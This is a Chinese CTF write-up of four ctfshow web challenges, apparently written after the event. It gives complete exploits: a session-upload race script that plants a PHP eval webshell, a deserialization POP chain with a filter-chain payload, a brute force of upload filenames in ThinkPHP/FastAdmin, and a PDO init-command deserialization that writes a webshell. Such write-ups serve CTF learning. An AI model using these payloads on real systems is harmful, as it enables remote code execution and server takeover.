前言
什么跨年,等下拿shell了,交个flag先
官方wp:https://docs.qq.com/doc/DRlBMcWdhZW9ZUnFB
Web
easy_include
file伪协议+session文件包含
<?php
function waf($path){
$path = str_replace(".","",$path);
return preg_match("/^[a-z]+/",$path);
}
if(waf($_POST[1])){
include "file://".$_POST[1];
}
经典的几行php代码题
稍微看一下可以知道底下file协议可以任意读文件,然后过滤了.
,开头必须是小写字母,也就是说不能目录穿越了
接下来本地测试一下file协议支持的几种读法:
在我的博客中曾经提到过file协议可以用127.0.0.1来读取文件
测试发现localhost也可以读到根目录下的文件
不过我们不知道flag文件的格式
但是在cookie里头我们可以发现有PHPSESSID,说明开了session
尝试session文件包含
exp:
import requests
import io
import threading
url='http://29273075-c82f-4e79-8937-13eaae3dd55b.challenge.ctf.show/' #引入url
sessionid='a07a636875b6a65a4fb6dec1f6274bc0' #PHPSESSID的值
data={
"1":"localhost/tmp/sess_"+sessionid,
"0":"file_put_contents('/var/www/html/1.php','<?php eval($_POST[2]);?>');" #将木马写入1.php
}
def write(session):
fileBytes=io.BytesIO(b'a'*1024*50) #上传一个50k的文件
while True:
response=requests.post(url,data={
'PHP_SESSION_UPLOAD_PROGRESS':'<?php eval($_POST[0]);?>' #将这段代码写入session文件中
},
cookies={
'PHPSESSID':sessionid #同上,PHPSESSID的值
},
files={
'file':('ctfshow.jpg',fileBytes) #上传这个文件单单只是为了抓个包,其他一点用都没有,可以删除
}
)
def read(session):
while True:
response=session.post(url,data=data,cookies={
'PHPSESSID':sessionid #包含session文件让第一个eval执行,然后执行第二个eval
})
response2=session.get(url+'1.php') #获得回显
if response2.status_code==200:
print('++++++perfect+++++')
else:
print(response2.status_code)
if __name__=='__main__':
evnet=threading.Event() #开启线程
with requests.session() as session: #多线程操作
for i in range(5):
threading.Thread(target=write,args=(session,)).start()
for i in range(5):
threading.Thread(target=read, args=(session,)).start()
evnet.set() #将信号标志设置为True,并唤醒所有处于等待状态的线程。
下班
拿下五血,离pop神最近的一次
不过都是文件包含的话,貌似还可以用pear来做
easy_web (复现)
反序列化+php特性+c绕过正则&wakeup+filterchain base64去杂
这题可以说是ctfshow web入门的毕业题了
<?php
header('Content-Type:text/html;charset=utf-8');
error_reporting(0);
function waf1($Chu0){
foreach ($Chu0 as $name => $value) {
if(preg_match('/[a-z]/i', $value)){
exit("waf1");
}
}
}
function waf2($Chu0){
if(preg_match('/show/i', $Chu0))
exit("waf2");
}
function waf_in_waf_php($a){
$count = substr_count($a,'base64');
echo "hinthinthint,base64喔"."<br>";
if($count!=1){
return True;
}
if (preg_match('/ucs-2|phar|data|input|zip|flag|\%/i',$a)){
return True;
}else{
return false;
}
}
class ctf{
public $h1;
public $h2;
public function __wakeup(){
throw new Exception("fastfast");
}
public function __destruct()
{
$this->h1->nonono($this->h2);
}
}
class show{
public function __call($name,$args){
if(preg_match('/ctf/i',$args[0][0][2])){
echo "gogogo";
}
}
}
class Chu0_write{
public $chu0;
public $chu1;
public $cmd;
public function __construct(){
$this->chu0 = 'xiuxiuxiu';
}
public function __toString(){
echo "__toString"."<br>";
if ($this->chu0===$this->chu1){
$content='ctfshowshowshowwww'.$_GET['chu0'];
if (!waf_in_waf_php($_GET['name'])){
file_put_contents($_GET['name'].".txt",$content);
}else{
echo "绕一下吧孩子";
}
$tmp = file_get_contents('ctfw.txt');
echo $tmp."<br>";
if (!preg_match("/f|l|a|g|x|\*|\?|\[|\]| |\'|\<|\>|\%/i",$_GET['cmd'])){
eval($tmp($_GET['cmd']));
}else{
echo "waf!";
}
file_put_contents("ctfw.txt","");
}
return "Go on";
}
}
if (!$_GET['show_show.show']){
echo "开胃小菜,就让我成为签到题叭";
highlight_file(__FILE__);
}else{
echo "WAF,启动!";
waf1($_REQUEST);
waf2($_SERVER['QUERY_STRING']);
if (!preg_match('/^[Oa]:[\d]/i',$_GET['show_show.show'])){
unserialize($_GET['show_show.show']);
}else{
echo "被waf啦";
}
}
经典一堆waf
waf1
function waf1($Chu0){
foreach ($Chu0 as $name => $value) {
if(preg_match('/[a-z]/i', $value)){
exit("waf1");
}
}
}
waf1($_REQUEST);
不允许有小写字母,对于序列化字符串来说肯定是过不去的
不过这里有$_REQUEST特性,传post参数绕过即可
waf2
function waf2($Chu0){
if(preg_match('/show/i', $Chu0))
exit("waf2");
}
waf2($_SERVER['QUERY_STRING']);
匹配show,但是$_SERVER[‘QUERY_STRING’]特性,只能匹配没有url编码过的数据
序列化头
然后看反序列化前的第一个正则
preg_match('/^[Oa]:[\d]/i',$_GET['show_show.show'])
首先是非法传参show[show.show
开头不能为O:数字或者a:数字(数组包装),可以确定是C绕过
pop链
接下来是pop链:ctf::__destruct -> show::__call -> Chu0_write::__toString
php版本5.5.9,绕过wakeup抛出异常的方法有CVE-2016-7124,因为反序列化的结果没赋值给变量,这里用不了fast_destruct
不过我们在上面c绕过就把这个wakeup绕了(
剩下几个魔术方法的触发也是需要一些trick的
基操触发__call
$a = new ctf(); $a->h1 = new show();
然后是__toString,正则匹配就可以触发,但是这个数组
$args[0][0][2]
不好处理,比赛时卡这里了不能这样赋值
$a->h2[0][0][2]=new Chu0_write()
,本地打印出来的结果为:[h2] => Array ( [0] => Array ( [0] => Array ( [2] => Chu0_write Object ( [chu0] => [chu1] => [cmd] => ) ) ) )
乍一看是三维数组,但是因为
__call($name,$args)
中的$args已经是一个数组,所以h2只需要是二维数组即可正确的写法如下:
$b = new Chu0_write(); $a->h2 = array(array('', '', $b));
打印的结果是:
[h2] => Array ( [0] => Array ( [0] => [1] => [2] => Chu0_write Object ( [chu0] => [chu1] => [cmd] => ) ) )
即二维数组
接下来进了__toString,第一层匹配
$this->chu0===$this->chu1
只需要让chu0强等于chu1即可,那我们直接引用赋值就可以了
$b->chu1 = &$b->chu0;
所以构造出基本的exp:
<?php
class ctf
{
public $h1;
public $h2;
}
class show
{
}
class Chu0_write
{
public $chu0;
public $chu1;
public $cmd;
}
$a = new ctf();
$a->h1 = new show();
$b = new Chu0_write();
$b->chu1 = &$b->chu0;
$a->h2 = array(array('', '', $b)); // 等价于$a->h2=[[2=>new Chu0_write()]]
$c=new ArrayObject($a);
echo serialize($c);
反序列化的部分就到此结束了
C:11:"ArrayObject":167:{x:i:0;O:3:"ctf":2:{s:2:"h1";O:4:"show":0:{}s:2:"h2";a:1:{i:0;a:3:{i:0;s:0:"";i:1;s:0:"";i:2;O:10:"Chu0_write":3:{s:4:"chu0";N;s:4:"chu1";R:10;s:3:"cmd";N;}}}};m:a:0:{}}
filterchain写文件
function waf_in_waf_php($a){
$count = substr_count($a,'base64');
echo "hinthinthint,base64喔"."<br>";
if($count!=1){
return True;
}
if (preg_match('/ucs-2|phar|data|input|zip|flag|\%/i',$a)){
return True;
}else{
return false;
}
}
$content='ctfshowshowshowwww'.$_GET['chu0'];
if (!waf_in_waf_php($_GET['name'])){
file_put_contents($_GET['name'].".txt",$content);
}else{
echo "绕一下吧孩子";
}
$tmp = file_get_contents('ctfw.txt');
echo $tmp."<br>";
if (!preg_match("/f|l|a|g|x|\*|\?|\[|\]| |\'|\<|\>|\%/i",$_GET['cmd'])){
eval($tmp($_GET['cmd']));
}else{
echo "waf!";
}
file_put_contents("ctfw.txt","");
稍微审一下,可以知道如果要命令执行的话就要控制$tmp的内容,而$tmp的内容需要写文件得到,文件名和内容是我们可控的
不过这个文件的内容开头写了ctfshowshowshowwww,很明显这样子是不能作为命令执行的
这个时候就要用到filterchain,和绕过死亡代码一样的方式通过base64去杂实现
waf里面要求只能出现一次base64,还ban掉了其它的伪协议和ucs-2编码
总之我们先测试一下限制一次base64解码的情况下能整出什么
前面多出来的字符串编码后再解码出现了r、0这两个属于码表的字符,所以我们为了剔除这两个字符,需要构造过滤器组合使r和0变成非码表字符,最后被base64去杂
官方wp用的是utf-8,utf-16le,quoted-printable编码
测试一下:
去杂成功
那么反过来生成我们要拼接的文件内容:
<?php
$b = 'system';
$a = iconv('utf-8', 'utf-16le', base64_encode($b));
echo quoted_printable_encode($a);
//quoted_printable_encode用于填充空字节,因为utf-8转utf-16le会产生空字节,file_put_contents会对空字节报错
所以这一部分的payload就是
GET:name=php://filter/convert.quoted-printable-decode/convert.iconv.utf-16.utf-8/convert.base64-decode/resource=ctfw
POST:chu0=c=003=00l=00z=00d=00G=00V=00t=00
命令执行
if (!preg_match("/f|l|a|g|x|\*|\?|\[|\]| |\'|\<|\>|\%/i",$_GET['cmd'])){
eval($tmp($_GET['cmd']));
}else{
echo "waf!";
}
最后命令执行直接env看环境变量就行
如果不在环境变量的话,可以用show_source
配合chr()
读文件,注意show依旧要url编码
结合上面所有的trick,最终的payload为
GET:?%73%68%6f%77[%73%68%6f%77.%73%68%6f%77=%43%3a%31%31%3a%22%41%72%72%61%79%4f%62%6a%65%63%74%22%3a%31%36%37%3a%7b%78%3a%69%3a%30%3b%4f%3a%33%3a%22%63%74%66%22%3a%32%3a%7b%73%3a%32%3a%22%68%31%22%3b%4f%3a%34%3a%22%73%68%6f%77%22%3a%30%3a%7b%7d%73%3a%32%3a%22%68%32%22%3b%61%3a%31%3a%7b%69%3a%30%3b%61%3a%33%3a%7b%69%3a%30%3b%73%3a%30%3a%22%22%3b%69%3a%31%3b%73%3a%30%3a%22%22%3b%69%3a%32%3b%4f%3a%31%30%3a%22%43%68%75%30%5f%77%72%69%74%65%22%3a%33%3a%7b%73%3a%34%3a%22%63%68%75%30%22%3b%4e%3b%73%3a%34%3a%22%63%68%75%31%22%3b%52%3a%31%30%3b%73%3a%33%3a%22%63%6d%64%22%3b%4e%3b%7d%7d%7d%7d%3b%6d%3a%61%3a%30%3a%7b%7d%7d&name=php://filter/convert.quoted-printable-decode/convert.iconv.utf-16.utf-8/convert.base64-decode/resource=ctfw&chu0=c=003=00l=00z=00d=00G=00V=00t=00&cmd=env
POST:show[show.show=1&name=1&chu0=1&cmd=1
非预期
扫出了phpinfo.php,flag在环境变量里可还行
孤注一掷 (复现)
thinkphp
hint:TP框架本身的漏洞,需要研究某些机制的底层实现是否没有安全问题
二维码扫进去是rickroll(我自愿的)
扫一下靶机
访问install.php,得知是FastAdmin框架
在 index 的控制器中发现文件上传的功能upload.php
<?php
namespace app\index\controller;
use think\Controller;
use think\Request;
class Upload extends Controller
{
public function image(Request $request)
{
$file = $request->file('file');
if( ! $file ) {
$this->error("error.");
}
$info = $file->move(ROOT_PATH . 'public' . DS . 'uploads');
$filename = '/uploads/' . str_replace("\\", "/", $info->getSaveName());
$this->success('', null, $filename);
}
}
在这里可以知道上传的路径:ROOT_PATH . 'public' . DS . 'uploads'
那么只需要确定文件名,我们就能getshell
自己起一个tp5的环境
composer create-project topthink/think=5.0.* tp5 --prefer-dist
同时在extend\fast\
目录下放一个Form.php:https://gitee.com/karson/fastadmin/blob/master/extend/fast/Form.php
然后把 application 文件夹替换进去
现在可以审计了,跟进到 thinkphp/library/think/File.php 的move
方法
看一下文件保存的命名规则,即跟进buildSaveName
方法
/**
* 获取保存文件名
* @param string|bool $savename 保存的文件名 默认自动生成
* @return string
*/
protected function buildSaveName($savename)
{
if (true === $savename) {
// 自动生成文件名
if ($this->rule instanceof \Closure) {
$savename = call_user_func_array($this->rule, [$this]);
} else {
switch ($this->rule) {
case 'date':
$savename = date('Ymd') . DS . md5(microtime(true));
break;
default:
if (in_array($this->rule, hash_algos())) {
$hash = $this->hash($this->rule);
$savename = substr($hash, 0, 2) . DS . substr($hash, 2);
} elseif (is_callable($this->rule)) {
$savename = call_user_func($this->rule);
} else {
$savename = date('Ymd') . DS . md5(microtime(true));
}
}
}
} elseif ('' === $savename) {
$savename = $this->getInfo('name');
}
if (!strpos($savename, '.')) {
$savename .= '.' . pathinfo($this->getInfo('name'), PATHINFO_EXTENSION);
}
return $savename;
}
我们的目标代码为$savename = date('Ymd') . DS . md5(microtime(true));
和$savename .= '.' . pathinfo($this->getInfo('name'), PATHINFO_EXTENSION);
则文件名为date('Ymd') . DS . md5(microtime(true)) . '.' . pathinfo($this->getInfo('name'), PATHINFO_EXTENSION);
路径中的前半部分年月日可控,后半部分和时间有关,那么可以碰撞
最后的保存路径大概就是url/20240320/md5(精确到小数点后四位的当前时间)
,文件后缀是pathinfo($this->getInfo('name'), PATHINFO_EXTENSION)
,也就是原上传文件的后缀,比如上传个 1.php 最后保存的文件就是md5(精确到小数点后四位的当前时间).php
所以关键就是上传文件,然后获取上传文件的时间,虽然微秒我们不知道,但也就9999位,直接爆破即可
先看一下服务器时间
从http的返回头可以看到服务器时间
这里在官方wp给的脚本基础上修改了一下来爆破
import requests
from datetime import datetime
import subprocess
import pytz
import hashlib
from tqdm import *
# Author:ctfshow-h1xa
url ="http://3ea6b4e4-b289-4c8d-8f12-16e48e59c317.challenge.ctf.show/"
scriptDate = ""
prefix = ""
session = requests.Session()
headers = {'User-Agent': 'Android'}
def init():
route="?url="+url
session.get(url=url+route,headers=headers)
def getPrefix():
route="index/upload/image"
file = {"file":("1.php",b"<?php echo 'enana';eval($_POST[1]);?>")}
response = session.post(url=url+route,files=file,headers=headers)
response_date = response.headers['date']
print("正在获取服务器时间:")
print(response_date)
date_time_obj = datetime.strptime(response_date, "%a, %d %b %Y %H:%M:%S %Z")
date_time_obj = date_time_obj.replace(tzinfo=pytz.timezone('GMT'))
date_time_obj_gmt8 = date_time_obj.astimezone(pytz.timezone('Asia/Shanghai'))
print("正在转换服务器时间:")
print(date_time_obj_gmt8)
year = date_time_obj_gmt8.year
month = date_time_obj_gmt8.month
day = date_time_obj_gmt8.day
hour = date_time_obj_gmt8.hour
minute = date_time_obj_gmt8.minute
second = date_time_obj_gmt8.second
global scriptDate,prefix
scriptDate = str(year)+(str("0"+str(month)) if month<10 else str(month))+(str("0"+str(day)) if day<10 else str(day))
seconds = int(date_time_obj_gmt8.timestamp())
print("服务器时间:")
print(seconds)
code = f'''php -r "echo mktime({hour},{minute},{second},{month},{day},{year});"'''
print("脚本时间:")
result = subprocess.run(code,shell=True, capture_output=True, text=True)
script_time=int(result.stdout)
print(script_time)
if seconds == script_time:
print("时间碰撞成功,开始爆破毫秒")
prefix = seconds
else:
print("错误,服务器时间和脚本时间不一致")
exit()
def checkUrl():
h = open("url.txt","a")
global scriptDate
for i in trange(1000,9999):
target = str(prefix)+"."+str(i)
md5 =string_to_md5(target)
route = "/uploads/"+scriptDate+"/"+md5+".php"
#print("正在爆破"+route)
response = session.get(url=url+route,headers=headers)
if response.status_code == 200:
print("成功getshell,地址为 "+url+route)
exit()
h.write(route+"\n")
h.close()
print("爆破结束")
return
def string_to_md5(string):
md5_val = hashlib.md5(string.encode('utf8')).hexdigest()
return md5_val
if __name__ == "__main__":
init()
getPrefix()
checkUrl()
测了半天访问不到对应的url,脚本也是跑失败了好几次
后面发现官方脚本scriptDate
这里的month没设置 <10 的情况导致目录是错的
这题本质上应该算是个逻辑漏洞,算不上底层
easy_login
红包题9改的,这次把写文件的方法去掉了
群主说是0day
非预期直接拿上次一血佬的exp秒了
exp:
<?php
session_start();
class mysql_helper
{
public $option = array(
PDO::MYSQL_ATTR_INIT_COMMAND => "select '<?=`nl /*`;' into outfile '/var/www/html/3.php';"
);
}
class application
{
public $mysql;
public $debug = true;
public function __construct()
{
$this->mysql = new mysql_helper();
}
}
$_SESSION['user'] = new application();
echo session_encode();
访问
http://70e52151-56eb-40af-b6e1-b986d7c749b7.challenge.ctf.show/index.php?action=main&token=user|O:11:%22application%22:2:{s:5:%22mysql%22;O:12:%22mysql_helper%22:1:{s:6:%22option%22;a:1:{i:1002;s:57:%22select%20%27%3C?=`nl%20/*`;%27%20%20into%20outfile%20%27/var/www/html/3.php%27;%22;}}s:5:%22debug%22;b:1;}
然后访问3.php